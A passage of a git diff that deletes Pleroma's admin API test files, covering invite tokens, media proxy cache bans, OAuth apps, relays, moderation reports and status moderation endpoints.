Config.put([:instance, :registrations_open], true) - Config.put([:instance, :invites_enabled], true) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/email_invite", %{ - email: "foo@bar.com", - name: "JD" - }) - - assert json_response_and_validate_schema(conn, :bad_request) == - %{ - "error" => - "To send invites you need to set the `registrations_open` option to false." - } - end - end - - describe "POST /api/pleroma/admin/users/invite_token" do - test "without options", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/invite_token") - - invite_json = json_response_and_validate_schema(conn, 200) - invite = UserInviteToken.find_by_token!(invite_json["token"]) - refute invite.used - refute invite.expires_at - refute invite.max_use - assert invite.invite_type == "one_time" - end - - test "with expires_at", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/invite_token", %{ - "expires_at" => Date.to_string(Date.utc_today()) - }) - - invite_json = json_response_and_validate_schema(conn, 200) - invite = UserInviteToken.find_by_token!(invite_json["token"]) - - refute invite.used - assert invite.expires_at == Date.utc_today() - refute invite.max_use - assert invite.invite_type == "date_limited" - end - - test "with max_use", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/invite_token", %{"max_use" => 150}) - - invite_json = json_response_and_validate_schema(conn, 200) - invite = UserInviteToken.find_by_token!(invite_json["token"]) - refute invite.used - refute invite.expires_at - assert invite.max_use == 150 - assert invite.invite_type == "reusable" - end - - test "with max use and expires_at", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/invite_token", %{ - "max_use" => 150, - "expires_at" => Date.to_string(Date.utc_today()) - }) - - invite_json = json_response_and_validate_schema(conn, 200) - invite = UserInviteToken.find_by_token!(invite_json["token"]) - refute invite.used - assert invite.expires_at == Date.utc_today() - assert invite.max_use == 150 - assert invite.invite_type == "reusable_date_limited" - end - end - - describe "GET /api/pleroma/admin/users/invites" do - test "no invites", %{conn: conn} do - conn = get(conn, "/api/pleroma/admin/users/invites") - - assert json_response_and_validate_schema(conn, 200) == %{"invites" => []} - end - - test "with invite", %{conn: conn} do - {:ok, invite} = UserInviteToken.create_invite() - - conn = get(conn, "/api/pleroma/admin/users/invites") - - assert json_response_and_validate_schema(conn, 200) == %{ - "invites" => [ - %{ - "expires_at" => nil, - "id" => invite.id, - "invite_type" => "one_time", - "max_use" => nil, - "token" => invite.token, - "used" => false, - "uses" => 0 - } - ] - } - end - end - - describe "POST /api/pleroma/admin/users/revoke_invite" do - test "with token", %{conn: conn} do - {:ok, invite} = UserInviteToken.create_invite() - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/revoke_invite", %{"token" => invite.token}) - - assert json_response_and_validate_schema(conn, 200) == %{ - "expires_at" => nil, - "id" => invite.id, - "invite_type" => "one_time", - "max_use" => nil, - "token" => invite.token, - "used" => true, - "uses" => 0 - } - end - - test "with invalid token", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/revoke_invite", %{"token" => "foo"}) - - assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} - end - end -end diff --git a/test/web/admin_api/controllers/media_proxy_cache_controller_test.exs b/test/web/admin_api/controllers/media_proxy_cache_controller_test.exs deleted file mode 100644 index f243d1fb2..000000000 --- a/test/web/admin_api/controllers/media_proxy_cache_controller_test.exs +++ /dev/null @@ -1,167 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.MediaProxyCacheControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - import Mock - - alias Pleroma.Web.MediaProxy - - setup do: clear_config([:media_proxy]) - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - Config.put([:media_proxy, :enabled], true) - Config.put([:media_proxy, :invalidation, :enabled], true) - Config.put([:media_proxy, :invalidation, :provider], MediaProxy.Invalidation.Script) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/media_proxy_caches" do - test "shows banned MediaProxy URLs", %{conn: conn} do - MediaProxy.put_in_banned_urls([ - "http://localhost:4001/media/a688346.jpg", - "http://localhost:4001/media/fb1f4d.jpg" - ]) - - MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg") - MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg") - MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg") - - response = - conn - |> get("/api/pleroma/admin/media_proxy_caches?page_size=2") - |> json_response_and_validate_schema(200) - - assert response["page_size"] == 2 - assert response["count"] == 5 - - assert response["urls"] == [ - "http://localhost:4001/media/fb1f4d.jpg", - "http://localhost:4001/media/a688346.jpg" - ] - - response = - conn - |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=2") - |> json_response_and_validate_schema(200) - - assert response["urls"] == [ - "http://localhost:4001/media/gb1f44.jpg", - "http://localhost:4001/media/tb13f47.jpg" - ] - - assert response["page_size"] == 2 - assert response["count"] == 5 - - response = - conn - |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=3") - |> json_response_and_validate_schema(200) - - assert response["urls"] == ["http://localhost:4001/media/wb1f46.jpg"] - end - - test "search banned MediaProxy URLs", %{conn: conn} do - MediaProxy.put_in_banned_urls([ - "http://localhost:4001/media/a688346.jpg", - "http://localhost:4001/media/ff44b1f4d.jpg" - ]) - - MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg") - MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg") - MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg") - - response = - conn - |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&query=F44") - |> json_response_and_validate_schema(200) - - assert response["urls"] == [ - "http://localhost:4001/media/gb1f44.jpg", - "http://localhost:4001/media/ff44b1f4d.jpg" - ] - - assert response["page_size"] == 2 - assert response["count"] == 2 - end - end - - describe "POST /api/pleroma/admin/media_proxy_caches/delete" do - test "deleted MediaProxy URLs from banned", %{conn: conn} do - MediaProxy.put_in_banned_urls([ - "http://localhost:4001/media/a688346.jpg", - "http://localhost:4001/media/fb1f4d.jpg" - ]) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/media_proxy_caches/delete", %{ - urls: ["http://localhost:4001/media/a688346.jpg"] - }) - |> json_response_and_validate_schema(200) - - refute MediaProxy.in_banned_urls("http://localhost:4001/media/a688346.jpg") - assert MediaProxy.in_banned_urls("http://localhost:4001/media/fb1f4d.jpg") - end - end - - describe "POST /api/pleroma/admin/media_proxy_caches/purge" do - test "perform invalidates cache of MediaProxy", %{conn: conn} do - urls = [ - "http://example.com/media/a688346.jpg", - "http://example.com/media/fb1f4d.jpg" - ] - - with_mocks [ - {MediaProxy.Invalidation.Script, [], - [ - purge: fn _, _ -> {"ok", 0} end - ]} - ] do - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/media_proxy_caches/purge", %{urls: urls, ban: false}) - |> json_response_and_validate_schema(200) - - refute MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg") - refute MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg") - end - end - - test "perform invalidates cache of MediaProxy and adds url to banned", %{conn: conn} do - urls = [ - "http://example.com/media/a688346.jpg", - "http://example.com/media/fb1f4d.jpg" - ] - - with_mocks [{MediaProxy.Invalidation.Script, [], [purge: fn _, _ -> {"ok", 0} end]}] do - conn - |> put_req_header("content-type", "application/json") - |> post( - "/api/pleroma/admin/media_proxy_caches/purge", - %{urls: urls, ban: true} - ) - |> json_response_and_validate_schema(200) - - assert MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg") - assert MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg") - end - end - end -end diff --git a/test/web/admin_api/controllers/oauth_app_controller_test.exs b/test/web/admin_api/controllers/oauth_app_controller_test.exs deleted file mode 100644 index ed7c4172c..000000000 --- a/test/web/admin_api/controllers/oauth_app_controller_test.exs +++ /dev/null @@ -1,220 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.OAuthAppControllerTest do - use Pleroma.Web.ConnCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.Web - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "POST /api/pleroma/admin/oauth_app" do - test "errors", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{}) - |> json_response_and_validate_schema(400) - - assert %{ - "error" => "Missing field: name. Missing field: redirect_uris." - } = response - end - - test "success", %{conn: conn} do - base_url = Web.base_url() - app_name = "Trusted app" - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{ - name: app_name, - redirect_uris: base_url - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "name" => ^app_name, - "redirect_uri" => ^base_url, - "trusted" => false - } = response - end - - test "with trusted", %{conn: conn} do - base_url = Web.base_url() - app_name = "Trusted app" - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{ - name: app_name, - redirect_uris: base_url, - trusted: true - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "name" => ^app_name, - "redirect_uri" => ^base_url, - "trusted" => true - } = response - end - end - - describe "GET /api/pleroma/admin/oauth_app" do - setup do - app = insert(:oauth_app) - {:ok, app: app} - end - - test "list", %{conn: conn} do - response = - conn - |> get("/api/pleroma/admin/oauth_app") - |> json_response_and_validate_schema(200) - - assert %{"apps" => apps, "count" => count, "page_size" => _} = response - - assert length(apps) == count - end - - test "with page size", %{conn: conn} do - insert(:oauth_app) - page_size = 1 - - response = - conn - |> get("/api/pleroma/admin/oauth_app?page_size=#{page_size}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => apps, "count" => _, "page_size" => ^page_size} = response - - assert length(apps) == page_size - end - - test "search by client name", %{conn: conn, app: app} do - response = - conn - |> get("/api/pleroma/admin/oauth_app?name=#{app.client_name}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - - test "search by client id", %{conn: conn, app: app} do - response = - conn - |> get("/api/pleroma/admin/oauth_app?client_id=#{app.client_id}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - - test "only trusted", %{conn: conn} do - app = insert(:oauth_app, trusted: true) - - response = - conn - |> get("/api/pleroma/admin/oauth_app?trusted=true") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - end - - describe "DELETE /api/pleroma/admin/oauth_app/:id" do - test "with id", %{conn: conn} do - app = insert(:oauth_app) - - response = - conn - |> delete("/api/pleroma/admin/oauth_app/" <> to_string(app.id)) - |> json_response_and_validate_schema(:no_content) - - assert response == "" - end - - test "with non existance id", %{conn: conn} do - response = - conn - |> delete("/api/pleroma/admin/oauth_app/0") - |> json_response_and_validate_schema(:bad_request) - - assert response == "" - end - end - - describe "PATCH /api/pleroma/admin/oauth_app/:id" do - test "with id", %{conn: conn} do - app = insert(:oauth_app) - - name = "another name" - url = "https://example.com" - scopes = ["admin"] - id = app.id - website = "http://website.com" - - response = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/oauth_app/#{id}", %{ - name: name, - trusted: true, - redirect_uris: url, - scopes: scopes, - website: website - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "id" => ^id, - "name" => ^name, - "redirect_uri" => ^url, - "trusted" => true, - "website" => ^website - } = response - end - - test "without id", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/oauth_app/0") - |> json_response_and_validate_schema(:bad_request) - - assert response == "" - end - end -end diff --git a/test/web/admin_api/controllers/relay_controller_test.exs b/test/web/admin_api/controllers/relay_controller_test.exs deleted file mode 100644 index adadf2b5c..000000000 --- a/test/web/admin_api/controllers/relay_controller_test.exs +++ /dev/null @@ -1,99 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.RelayControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.ModerationLog - alias Pleroma.Repo - alias Pleroma.User - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - - :ok - end - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "relays" do - test "POST /relay", %{conn: conn, admin: admin} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/relay", %{ - relay_url: "http://mastodon.example.org/users/admin" - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "actor" => "http://mastodon.example.org/users/admin", - "followed_back" => false - } - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin" - end - - test "GET /relay", %{conn: conn} do - relay_user = Pleroma.Web.ActivityPub.Relay.get_actor() - - ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"] - |> Enum.each(fn ap_id -> - {:ok, user} = User.get_or_fetch_by_ap_id(ap_id) - User.follow(relay_user, user) - end) - - conn = get(conn, "/api/pleroma/admin/relay") - - assert json_response_and_validate_schema(conn, 200)["relays"] == [ - %{ - "actor" => "http://mastodon.example.org/users/admin", - "followed_back" => true - }, - %{"actor" => "https://mstdn.io/users/mayuutann", "followed_back" => true} - ] - end - - test "DELETE /relay", %{conn: conn, admin: admin} do - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/relay", %{ - relay_url: "http://mastodon.example.org/users/admin" - }) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/pleroma/admin/relay", %{ - relay_url: "http://mastodon.example.org/users/admin" - }) - - assert json_response_and_validate_schema(conn, 200) == - "http://mastodon.example.org/users/admin" - - [log_entry_one, log_entry_two] = Repo.all(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry_one) == - "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin" - - assert ModerationLog.get_log_entry_message(log_entry_two) == - "@#{admin.nickname} unfollowed relay: http://mastodon.example.org/users/admin" - end - end -end diff --git a/test/web/admin_api/controllers/report_controller_test.exs b/test/web/admin_api/controllers/report_controller_test.exs deleted file mode 100644 index 57946e6bb..000000000 --- a/test/web/admin_api/controllers/report_controller_test.exs +++ /dev/null @@ -1,372 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.ReportControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.ModerationLog - alias Pleroma.Repo - alias Pleroma.ReportNote - alias Pleroma.Web.CommonAPI - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/reports/:id" do - test "returns report by its id", %{conn: conn} do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - response = - conn - |> get("/api/pleroma/admin/reports/#{report_id}") - |> json_response_and_validate_schema(:ok) - - assert response["id"] == report_id - end - - test "returns 404 when report id is invalid", %{conn: conn} do - conn = get(conn, "/api/pleroma/admin/reports/test") - - assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} - end - end - - describe "PATCH /api/pleroma/admin/reports" do - setup do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - {:ok, %{id: second_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel very offended", - status_ids: [activity.id] - }) - - %{ - id: report_id, - second_report_id: second_report_id - } - end - - test "requires admin:write:reports scope", %{conn: conn, id: id, admin: admin} do - read_token = insert(:oauth_token, user: admin, scopes: ["admin:read"]) - write_token = insert(:oauth_token, user: admin, scopes: ["admin:write:reports"]) - - response = - conn - |> assign(:token, read_token) - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [%{"state" => "resolved", "id" => id}] - }) - |> json_response_and_validate_schema(403) - - assert response == %{ - "error" => "Insufficient permissions: admin:write:reports." - } - - conn - |> assign(:token, write_token) - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [%{"state" => "resolved", "id" => id}] - }) - |> json_response_and_validate_schema(:no_content) - end - - test "mark report as resolved", %{conn: conn, id: id, admin: admin} do - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "resolved", "id" => id} - ] - }) - |> json_response_and_validate_schema(:no_content) - - activity = Activity.get_by_id(id) - assert activity.data["state"] == "resolved" - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} updated report ##{id} with 'resolved' state" - end - - test "closes report", %{conn: conn, id: id, admin: admin} do - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "closed", "id" => id} - ] - }) - |> json_response_and_validate_schema(:no_content) - - activity = Activity.get_by_id(id) - assert activity.data["state"] == "closed" - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} updated report ##{id} with 'closed' state" - end - - test "returns 400 when state is unknown", %{conn: conn, id: id} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "test", "id" => id} - ] - }) - - assert "Unsupported state" = - hd(json_response_and_validate_schema(conn, :bad_request))["error"] - end - - test "returns 404 when report is not exist", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "closed", "id" => "test"} - ] - }) - - assert hd(json_response_and_validate_schema(conn, :bad_request))["error"] == "not_found" - end - - test "updates state of multiple reports", %{ - conn: conn, - id: id, - admin: admin, - second_report_id: second_report_id - } do - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "resolved", "id" => id}, - %{"state" => "closed", "id" => second_report_id} - ] - }) - |> json_response_and_validate_schema(:no_content) - - activity = Activity.get_by_id(id) - second_activity = Activity.get_by_id(second_report_id) - assert activity.data["state"] == "resolved" - assert second_activity.data["state"] == "closed" - - [first_log_entry, second_log_entry] = Repo.all(ModerationLog) - - assert ModerationLog.get_log_entry_message(first_log_entry) == - "@#{admin.nickname} updated report ##{id} with 'resolved' state" - - assert ModerationLog.get_log_entry_message(second_log_entry) == - "@#{admin.nickname} updated report ##{second_report_id} with 'closed' state" - end - end - - describe "GET /api/pleroma/admin/reports" do - test "returns empty response when no reports created", %{conn: conn} do - response = - conn - |> get(report_path(conn, :index)) - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response["reports"]) - assert response["total"] == 0 - end - - test "returns reports", %{conn: conn} do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - response = - conn - |> get(report_path(conn, :index)) - |> json_response_and_validate_schema(:ok) - - [report] = response["reports"] - - assert length(response["reports"]) == 1 - assert report["id"] == report_id - - assert response["total"] == 1 - end - - test "returns reports with specified state", %{conn: conn} do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: first_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - {:ok, %{id: second_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I don't like this user" - }) - - CommonAPI.update_report_state(second_report_id, "closed") - - response = - conn - |> get(report_path(conn, :index, %{state: "open"})) - |> json_response_and_validate_schema(:ok) - - assert [open_report] = response["reports"] - - assert length(response["reports"]) == 1 - assert open_report["id"] == first_report_id - - assert response["total"] == 1 - - response = - conn - |> get(report_path(conn, :index, %{state: "closed"})) - |> json_response_and_validate_schema(:ok) - - assert [closed_report] = response["reports"] - - assert length(response["reports"]) == 1 - assert closed_report["id"] == second_report_id - - assert response["total"] == 1 - - assert %{"total" => 0, "reports" => []} == - conn - |> get(report_path(conn, :index, %{state: "resolved"})) - |> json_response_and_validate_schema(:ok) - end - - test "returns 403 when requested by a non-admin" do - user = insert(:user) - token = insert(:oauth_token, user: user) - - conn = - build_conn() - |> assign(:user, user) - |> assign(:token, token) - |> get("/api/pleroma/admin/reports") - - assert json_response(conn, :forbidden) == - %{"error" => "User is not an admin."} - end - - test "returns 403 when requested by anonymous" do - conn = get(build_conn(), "/api/pleroma/admin/reports") - - assert json_response(conn, :forbidden) == %{ - "error" => "Invalid credentials." - } - end - end - - describe "POST /api/pleroma/admin/reports/:id/notes" do - setup %{conn: conn, admin: admin} do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/reports/#{report_id}/notes", %{ - content: "this is disgusting!" - }) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/reports/#{report_id}/notes", %{ - content: "this is disgusting2!" - }) - - %{ - admin_id: admin.id, - report_id: report_id - } - end - - test "it creates report note", %{admin_id: admin_id, report_id: report_id} do - assert [note, _] = Repo.all(ReportNote) - - assert %{ - activity_id: ^report_id, - content: "this is disgusting!", - user_id: ^admin_id - } = note - end - - test "it returns reports with notes", %{conn: conn, admin: admin} do - conn = get(conn, "/api/pleroma/admin/reports") - - response = json_response_and_validate_schema(conn, 200) - notes = hd(response["reports"])["notes"] - [note, _] = notes - - assert note["user"]["nickname"] == admin.nickname - assert note["content"] == "this is disgusting!" - assert note["created_at"] - assert response["total"] == 1 - end - - test "it deletes the note", %{conn: conn, report_id: report_id} do - assert ReportNote |> Repo.all() |> length() == 2 - assert [note, _] = Repo.all(ReportNote) - - delete(conn, "/api/pleroma/admin/reports/#{report_id}/notes/#{note.id}") - - assert ReportNote |> Repo.all() |> length() == 1 - end - end -end diff --git a/test/web/admin_api/controllers/status_controller_test.exs b/test/web/admin_api/controllers/status_controller_test.exs deleted file mode 100644 index eff78fb0a..000000000 --- a/test/web/admin_api/controllers/status_controller_test.exs +++ /dev/null @@ -1,202 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.StatusControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.ModerationLog - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/statuses/:id" do - test "not found", %{conn: conn} do - assert conn - |> get("/api/pleroma/admin/statuses/not_found") - |> json_response_and_validate_schema(:not_found) - end - - test "shows activity", %{conn: conn} do - activity = insert(:note_activity) - - response = - conn - |> get("/api/pleroma/admin/statuses/#{activity.id}") - |> json_response_and_validate_schema(200) - - assert response["id"] == activity.id - - account = response["account"] - actor = User.get_by_ap_id(activity.actor) - - assert account["id"] == actor.id - assert account["nickname"] == actor.nickname - assert account["deactivated"] == actor.deactivated - assert account["confirmation_pending"] == actor.confirmation_pending - end - end - - describe "PUT /api/pleroma/admin/statuses/:id" do - setup do - activity = insert(:note_activity) - - %{id: activity.id} - end - - test "toggle sensitive flag", %{conn: conn, id: id, admin: admin} do - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "true"}) - |> json_response_and_validate_schema(:ok) - - assert response["sensitive"] - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} updated status ##{id}, set sensitive: 'true'" - - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "false"}) - |> json_response_and_validate_schema(:ok) - - refute response["sensitive"] - end - - test "change visibility flag", %{conn: conn, id: id, admin: admin} do - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "public"}) - |> json_response_and_validate_schema(:ok) - - assert response["visibility"] == "public" - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} updated status ##{id}, set visibility: 'public'" - - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "private"}) - |> json_response_and_validate_schema(:ok) - - assert response["visibility"] == "private" - - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "unlisted"}) - |> json_response_and_validate_schema(:ok) - - assert response["visibility"] == "unlisted" - end - - test "returns 400 when visibility is unknown", %{conn: conn, id: id} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "test"}) - - assert %{"error" => "test - Invalid value for enum."} = - json_response_and_validate_schema(conn, :bad_request) - end - end - - describe "DELETE /api/pleroma/admin/statuses/:id" do - setup do - activity = insert(:note_activity) - - %{id: activity.id} - end - - test "deletes status", %{conn: conn, id: id, admin: admin} do - conn - |> delete("/api/pleroma/admin/statuses/#{id}") - |> json_response_and_validate_schema(:ok) - - refute Activity.get_by_id(id) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted status ##{id}" - end - - test "returns 404 when the status does not exist", %{conn: conn} do - conn = delete(conn, "/api/pleroma/admin/statuses/test") - - assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} - end - end - - describe "GET /api/pleroma/admin/statuses" do - test "returns all public and unlisted statuses", %{conn: conn, admin: admin} do - blocked = insert(:user) - user = insert(:user) - User.block(admin, blocked) - - {:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"}) - - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - {:ok, _} = CommonAPI.post(blocked, %{status: ".", visibility: "public"}) - - response = - conn - |> get("/api/pleroma/admin/statuses") - |> json_response_and_validate_schema(200) - - refute "private" in Enum.map(response, & &1["visibility"]) - assert length(response) == 3 - end - - test "returns only local statuses with local_only on", %{conn: conn} do - user = insert(:user) - remote_user = insert(:user, local: false, nickname: "archaeme@archae.me") - insert(:note_activity, user: user, local: true) - insert(:note_activity, user: remote_user, local: false) - - response = - conn - |> get("/api/pleroma/admin/statuses?local_only=true") - |> json_response_and_validate_schema(200) - - assert length(response) == 1 - end - - test "returns private and direct statuses with godmode on", %{conn: conn, admin: admin} do - user = insert(:user) - - {:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"}) - - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - conn = get(conn, "/api/pleroma/admin/statuses?godmode=true") - assert json_response_and_validate_schema(conn, 200) |> length() == 3 - end - end -end diff --git a/test/web/admin_api/search_test.exs b/test/web/admin_api/search_test.exs deleted file mode 100644 index d88867c52..000000000 --- a/test/web/admin_api/search_test.exs +++ /dev/null @@ -1,190 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors 